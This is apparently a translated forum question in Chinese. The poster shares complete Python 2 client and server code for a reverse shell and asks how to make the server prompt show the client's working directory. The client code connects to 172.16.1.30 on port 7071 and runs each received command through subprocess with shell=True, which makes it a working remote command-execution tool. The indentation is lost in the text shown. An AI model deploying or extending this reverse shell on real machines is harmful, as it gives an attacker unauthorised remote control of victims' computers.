这是我用python编写的简单反向shell。我试图让它变得更好。
客户端代码:
import socket
import subprocess
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)
while (cmd != 'exit'):
cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
mySocket.send(cmdResult.communicate()[0])
cmd = mySocket.recv(100)
mySocket.send('Shell closed by user.')
mySocket.close()
服务器端代码:
import socket
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])
while True:
command=raw_input('Shell>')
clntConn.send(command)
result=clntConn.recv(1024)
if (result == 'Shell closed by user.'):
print result
exit(0)
else:
print result
如"服务器端代码" raw_input 提示符是" Shell"。 如何将其更改为客户端上的当前工作目录。
例如,如果客户端当前工作目录是" C:\ Users \ Test \ Desktop \"
我有一个raw_input提示符为" C:\ Users \ Test \ Desktop>"。
感谢。